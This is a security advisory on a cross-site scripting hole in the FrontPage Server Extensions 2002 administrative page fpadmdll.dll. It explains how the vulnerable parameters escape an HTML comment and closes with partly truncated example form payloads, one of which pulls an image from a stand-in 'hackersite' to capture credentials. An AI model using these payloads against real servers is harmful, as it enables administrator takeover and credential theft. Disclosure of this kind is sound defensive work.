Advisory Number:  ARG040602


Details:
The FrontPage Server Extensions 2002 (included in Windows Sever 2003 IIS 6.0 
and available as a separate download for Windows 2000 and XP) has a web page 
/_vti_bin/_vti_adm/fpadmdll.dll that is used for administrative purposes.
This web page is vulnerable to cross site scripting attacks allowing an 
attacker to run client-side script on behalf of an FPSE user. If the victim 
is an administrator, the attacker could take complete control of a Front 
Page Server Extensions 2002 server.

To exploit the vulnerability an attacker can send a specially crafted e-mail 
message to a FPSE user and then persuade the user to click a link in the 
e-mail message.
In addition, this vulnerability can be exploited if an attacker hosts a 
malicious website and persuade the user to visit it.

The vulnerable parameters of fpadmdll.dll are "operation", "command", and 
"name". These parameters appears in the output without properly sanitization 
in an HTML comment but it can be escaped with a '-->'.

Exploit Examples:

An attacker could create a FORM that POST to the FPSE server and executes a 
script on the client system.
action=http://iisserver/_vti_bin/_vti_adm/fpadmdll.dll method="POST">
Also, an attacker could inject an image from another web site that he has control over and if it has HTTP authentication could convince the user to enter its credentials and capture it.
action=http://iisserver/_vti_bin/_vti_adm/fpadmdll.dll method="POST"> src=http://hackersite/image.jpg>">
